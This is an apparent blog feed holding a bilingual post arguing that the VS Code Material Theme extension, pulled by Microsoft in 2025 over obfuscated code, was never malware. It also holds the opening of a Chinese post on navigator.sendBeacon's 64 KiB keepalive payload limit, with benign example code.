的評論</a>滿精準地說出我的想法：</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="疑似與確實重要的一線之隔">「疑似」與「確實」，重要的一線之隔</span></h2><p>我想討論的問題是：「VS Code 團隊下架 Material Theme 套件是否合理？」</p><p>但因為這個問題背後其實藏著兩三個子問題，因此我決定先把問題切小，第一件可以來聊的事情是，當發現「疑似含有惡意程式碼」的套件時，把它下架是否合理？</p><p>預防勝於治療，在還沒出事之前先止損，我認為是合理的。</p><p>那第二個延伸問題就是：「既然只是疑似，那有多少把握的時候，下架才是合理的？」</p><p>這其實是個「畫線」的問題。</p><p>舉例來說，如果只是在 theme 的套件中發現沒混淆過的 JavaScript 檔案，下架可能就不太合理。但如果是在 theme 的套件中發現混淆過的 JavaScript 呢？（內容你還不知道是什麼，就只知道有混淆過），對有些人說可能就覺得應該下架了。</p><p>但也有些人會覺得，一定要找到確切的證據才能下架，只是在懷疑階段都不行。</p><p>所以我說這是一個畫線問題，取決於你要把線畫在哪邊，要滿足哪些條件，才會覺得足夠可疑，可疑到要把它下架。這個標準每個人、每個組織都會不一樣。</p><p>想好這兩個問題以後，再來討論：「VS Code 團隊下架 Material Theme 套件是否合理？」，以他們的角度來看，已知的訊息大概是：</p><ol><li>明明是個 theme，但套件裡有 JavaScript，還是混淆過的</li><li>含有拿來執行 child processes 的 utility</li><li>這個套件有數百萬下載</li></ol><p>當他們做決定前，必須知道這個決定的會帶來的影響。</p><p>舉例來說，這是 VS Code 團隊第一次做這件事，因此就算只是「懷疑有問題」，也可能會被解讀為具有足夠的信心，才會大動作遠端主動移除套件。此外，如果最後真的證明是惡意套件那倒是沒事，但如果不是呢？那是否在對外發表聲明時應該格外小心，強調只是疑似，在證據還沒這麼明確的狀況下，盡量不傷害開發者的名聲？</p><p>另一個問題是，既然「沒有證據」這件事會影響決定，那是否這條線應該畫得更嚴格一點，只有掌握切確證據以後才做決定？畢竟如果最後證實套件其實沒問題，外界對微軟的資安能力也會感到質疑（像是，我以為你有足夠的證據才做這些，結果居然說是誤報）。</p><p>總之呢，我也不知道 VS Code 團隊掌握了多少證據，但他們最後做的決定大家都知道了，就是強制移除套件以保護使用者。</p><h2><span id="大結局vs-code-團隊的道歉">大結局：VS Code 團隊的道歉</span></h2><p>事件過了一個多禮拜之後，在 3&#x2F;7 時微軟經由這個 PR：<a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>，把 Material Theme 從清單中移除。</p><p>而 3&#x2F;12 時在作者發的那個 Issue 底下發表了<a href="https://github.com/microsoft/vsmarketplace/issues/1173">公開聲明</a>進行道歉：</p><blockquote><p>False positives suck, and it hurts when it happens.<br>誤判很糟糕，當它發生時確實令人痛心。</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.<br>Material Theme 和 Material Theme Icons（Equinusocio）的發佈者帳戶被錯誤標記，現在已經恢復。出於安全考量，我們行動迅速，但也因此犯了錯。我們移除了這些佈景主題，因為它們在微軟內部觸發了多個惡意軟體偵測指標，而我們的調查最終得出了錯誤的結論。我們非常重視 VS Code 生態系統的安全性，因此迅速採取行動來保護使用者。</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.<br>我們理解「Equinusocio」擴充套件作者的沮喪與強烈反應，我們聽到了。這件事很糟糕，但有時候這類情況難以避免。我們盡力而為，但我們也是人，希望能夠從這次事件中吸取教訓並向前邁進。我們將明確關於混淆程式碼的政策，並更新我們的掃描工具與調查流程，以降低類似事件再次發生的可能性。這些擴充套件是安全的，現在已經恢復，VS Code 社群可以繼續使用並享受它們。</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.<br>我們再次對這位作者受到牽連而深表歉意，也期待他未來的佈景主題與擴充套件。我們已與他聯繫，並感謝他的耐心等待。</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>所以，儘管它有著一些確實可疑的行為，但是 Material Theme 自始至終都不是個惡意軟體。</p><p>不過從聲明中能看出來從他們的角度，在做決定時應該有滿高的信心，畢竟內部的惡意軟體偵測都這麼說了（雖然最後是 false positive）。</p><p>如果是我的話，可能也會決定下架吧，因此我是能理解這個決定的。</p><p>但我覺得下架時的說明應該要更清楚一點，多次強調「事件還在調查，還沒確定是惡意軟體」，要不斷強調「還在驗證，只是為了保護使用者所以先移除」這件事。</p><p>雖然 VS Code 團隊本來就沒有明確表示是惡意軟體，但表達更像是「雖然還沒完全確定，但我滿有自信它是」，而不是「還沒確認是惡意軟體，請大家不要先恐慌，等我們驗證」。</p><p>最後整理一下我的立場，我目前的立場是，高度可疑的套件下架是合理的，我也認同 VS Code 團隊這樣做。但為了避免 false positive，在對外聲明時必須格外小心，否則對開發者名聲的傷害是難以挽回的，而我認為這次 VS Code 團隊在這點上並沒有做好。</p><p>就舉這次事件為例，儘管 VS Code 的道歉聲明已經是 3 天前發的了，又有多少人知道呢？會不會大多數的人還是認為 Material Theme 是個惡意軟體呢？</p><p>話說 BleepingComputer 在 <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a> 一文中有去問一開始回報問題的資安公司，他們還是覺得有惡意程式碼：</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”<br>當 BleepingComputer 詢問此事時，資安研究員 Amit Assaraf 仍堅稱該擴充套件包含惡意程式碼。然而，他表示發佈者並無惡意，並評論道：「在這種情況下，微軟行動得太快了。」</p></blockquote><p>但目前看起來，還是沒有提供相關證據。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;應該不少人都有跟到三週前 VS Code 上的知名套件 Material Theme 被微軟主動下架的新聞，那下架的理由是什麼呢？根據你得知這件事的消息來源以及自身個性，可能會有兩種回答：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它「疑似」含有惡意程式碼&lt;/li&gt;
&lt;li&gt;它就是個惡意軟體&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>VS Code Material Theme is Not a Malware — Where Should the Line Be Drawn?</title>
    <link href="https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-10-01T13:13:03.857Z</updated>
    
    <content type="html"><![CDATA[<p>Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:</p><ol><li>It “allegedly” contains malicious code.</li><li>It is indeed malware.</li></ol><span id="more"></span><p>For example, in BleepingComputer’s article <a href="https://www.bleepingcomputer.com/news/security/vscode-extensions-with-9-million-installs-pulled-over-security-risks/">VSCode extensions with 9 million installs pulled over security risks</a>, it states:</p><blockquote><p>Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and  ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.</p></blockquote><p>It uses the term “allegedly containing malicious code.”</p><p>In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed <a href="https://x.com/theo/status/1894661673388314710">@theo</a> directly stated:</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware.</p></blockquote><p>So, is the Material Theme extension on VS Code malware? To conclude: “No.”</p><p>What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.</p><h2><span id="the-beginning-of-the-incident-and-the-reason-for-removal">The Beginning of the Incident and the Reason for Removal</span></h2><p>(All times refer to Taiwan time)</p><p>On 2025&#x2F;02&#x2F;26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: <a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>, mentioning that the following prompt appeared in VS Code:</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a> .</p><p>By 7 AM, discussions also began on Hacker News: <a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace</a>.</p><p>Around 3:40 PM, a member of the VS Code team, Isidor, responded:</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.</p><p>By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: <a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>, wanting to know more details.</p><p>The PM of the VS Code Marketplace, seaniyer, also provided a <a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">response</a> at 9:57 AM on 2&#x2F;27:</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.</p></blockquote><p>The <a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?</p><p>The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes</p></blockquote><p>A cybersecurity company, Koi Security, published an article on 2025&#x2F;02&#x2F;27 titled <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.</p><h2><span id="authors-rebuttal">Author’s Rebuttal</span></h2><p>On 2&#x2F;28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: <a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.</p></blockquote><p>At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="why-was-material-theme-suspected">Why was Material Theme suspected?</span></h2><p>To summarize the above discussion, it is clear that Material Theme indeed did a few things:</p><ol><li>It is clearly a theme, but the package contains JavaScript.</li><li>It has obfuscated code.</li><li>The code contains parts related to username and password.</li><li>It includes a utility for executing child processes.</li></ol><p>If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.</p><p>Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.</p><p>In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a> thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.</p><p>Some say it may be related to these two discussions initiated by the author on August 10:</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.</p><p>As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used <a href="https://github.com/unshiftio/url-parse">url-parser</a>, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.</p><p>Regarding the “utility for executing child processes,” <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">someone</a> looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.</p><p>(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: <a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a>)</p><p>The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a>: You can’t run your threat response like a High School clique.</p><p>Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.</p><p>Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">discussion thread</a> on Reddit.</p><p>In summary, this <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250">comment from @r8</a> accurately reflects my thoughts:</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="the-important-line-between-suspected-and-confirmed">The Important Line Between “Suspected” and “Confirmed”</span></h2><p>The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”</p><p>However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”</p><p>Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.</p><p>The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”</p><p>This is actually a “line-drawing” issue.</p><p>For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.</p><p>However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.</p><p>So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.</p><p>Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:</p><ol><li>It is clearly a theme, but the extension contains JavaScript, which is obfuscated.</li><li>It includes utilities used to execute child processes.</li><li>This extension has millions of downloads.</li></ol><p>Before making a decision, they must understand the impact this decision will have.</p><p>For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?</p><p>Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).</p><p>In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.</p><h2><span id="conclusion-the-vs-code-teams-apology">Conclusion: The VS Code Team’s Apology</span></h2><p>More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: <a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>.</p><p>On March 12, they issued a <a href="https://github.com/microsoft/vsmarketplace/issues/1173">public statement</a> apologizing under the issue posted by the author:</p><blockquote><p>False positives suck, and it hurts when it happens.</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.</p><p>However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).</p><p>If it were me, I might have decided to take it down as well, so I understand this decision.</p><p>But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”</p><p>Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”</p><p>To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.</p><p>Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?</p><p>By the way, BleepingComputer asked the cybersecurity company that initially reported the issue in the article <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a>, and they still believe there is malicious code:</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”</p></blockquote><p>But it seems that no relevant evidence has been provided so far.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It “allegedly” contains malicious code.&lt;/li&gt;
&lt;li&gt;It is indeed malware.&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>navigator.sendBeacon 的 64KiB 限制與底層實作</title>
    <link href="https://blog.huli.tw/2025/01/06/navigator-sendbeacon-64kib-and-source-code/"/>
    <id>https://blog.huli.tw/2025/01/06/navigator-sendbeacon-64kib-and-source-code/</id>
    <published>2025-01-06T02:40:00.000Z</published>
    <updated>2025-01-06T11:51:47.703Z</updated>
    
    <content type="html"><![CDATA[<p>當你想在網頁上向 server 發送一些 tracking 相關的資訊時，比起直接用 <code>fetch</code> 送出請求，有另一個通常會被推薦的選擇：<code>navigator.sendBeacon</code>。</p><p>為什麼會推薦這個呢？</p><p>因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。</p><p>雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。</p><p>而 <code>navigator.sendBeacon</code> 就是為了解決這個問題而生的。</p><span id="more"></span><p>就如同 <a href="https://w3c.github.io/beacon/">spec</a> 上所寫的：</p><blockquote><p>This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination</p><p>此規範定義了一個 interface，供網頁開發者用於安排非同步且非阻塞的數據傳輸，以最大限度地減少與其他時間敏感操作的資源競爭，同時確保這些請求仍能被處理並傳遞到目標位置。</p></blockquote><p>而使用的方式也非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就會發送一個 POST 的請求到 <code>/log</code> 去。</p><p>雖然簡單易用，但需要注意的一點是，送出的 payload 是有大小限制的，而且這個限制不是單一請求的限制。</p><h2><span id="navigatorsendbeacon-的-payload-限制">navigator.sendBeacon 的 payload 限制</span></h2><p><code>sendBeacon</code> 的 payload 上限是 64 KiB，等同於 65536 個 bytes，如果 payload 都是由英文字組成的話，因為每一個是一個 byte，就是 65536 個字。</p><p>如果超過這個大小，你會發現請求送不出去，永遠處於 pending 狀態：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">65536</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p1.png" alt="永遠 pending "></p><p>而且這個限制其實並不是限制單一請求，而是背後有個 queue，這個 queue 只要超過 65536 bytes 就不接受新的東西了。</p><p>舉例來說，當我們連續送出 8 個 10000 字的請求時：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">8</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>你會發現最後兩個一直處於 pending 狀態，送不出去：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p2.png" alt="超過 queue 的範圍就會一直 pending"></p><p>這是因為前六次 <code>sendBeacon</code> 已經把 queue 填到 60000 了，因此最後兩次都塞不下，所以無法接受新的請求，就會永遠處於 pending，就會 queue 空了也不會主動再塞進去。</p><p>不過嚴格來講這其實也不是 <code>sendBeacon</code> 的問題，而是 fetch 加上 keepalive 會有的限制。事實上，<code>navigator.sendBeacon</code> 的底層就是 fetch 加上 keepalive。</p><h2><span id="navigatorsendbeacon-的規格與-sentry-的小故事">navigator.sendBeacon 的規格與 Sentry 的小故事</span></h2><p>在規格的段落 <a href="https://w3c.github.io/beacon/#sec-processing-model">3.2 Processing Model</a> 的第六步中，就有提到剛剛講的 queue：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p3.png" alt="spec 中的 queue"></p><p>如果判斷塞不進去 queue 的話，<code>sendBeacon</code> 會回傳 false。</p><p>其實這就是 payload 碰到問題時的解法，在呼叫 <code>sendBeacon</code> 之後判斷回傳值是否為 false，是的話就進行處理，看是要 fallback 成一般的 fetch，還是自己再做個重試的機制。</p><p>而第七步則是 <code>sendBeacon</code> 主要做的事情，新建一個 keepalive 的請求然後送出：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p4.png" alt="keepalive 的段落"></p><p>而 fetch + keepalive 的 payload 限制就是 64 KiB，這是有寫在 <a href="https://fetch.spec.whatwg.org/#http-network-or-cache-fetch">spec</a> 裡的：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/fetch-spec.png" alt="fetch 的 spec"></p><p>專門做 error tracking 的服務 Sentry 以前其實就碰過這問題，在 2018 年時有人發現 Sentry 在 fetch 時會預設打開 keepalive，導致有些超過 65536 bytes 的請求送不出去，因此把這個 flag 給拿掉了：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p5.png" alt="Sentry 的 issue"></p><p>來源：<a href="https://github.com/getsentry/sentry-javascript/issues/1464">When fetch is used keepalive is the default, and Chrome only allows a POST body &lt;&#x3D; 65536 bytes in that scenario #1464</a>，拿掉的 PR：<a href="https://github.com/getsentry/sentry-javascript/pull/1496">ref: Remove keepalive:true as a default and document payload size #1496</a></p><p>兩年後的 2020 年，有人發現了 keepalive 的規格以及正確用法：<a href="https://github.com/getsentry/sentry-javascript/issues/2547">Fetch KeepAlive #2547</a>，提議在 payload 許可之下用 keepalive，超過才不用，而不是像當時全部都不用。</p><p>但當時並沒有任何動作，是又過了兩年，在 2022 年時，有人發現 Chrome 在 navigation 的時候會取消所有請求，因此有些請求送不出去，才想到要利用 keepalive 來解決。</p><p>因此在 2022 年 9 月時，才又把它加了回去，並且留下精闢的註解：</p><p><a href="https://github.com/getsentry/sentry-javascript/issues/2547">feat(browser): Use fetch keepalive flag #5697</a></p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Outgoing requests are usually cancelled when navigating to a different 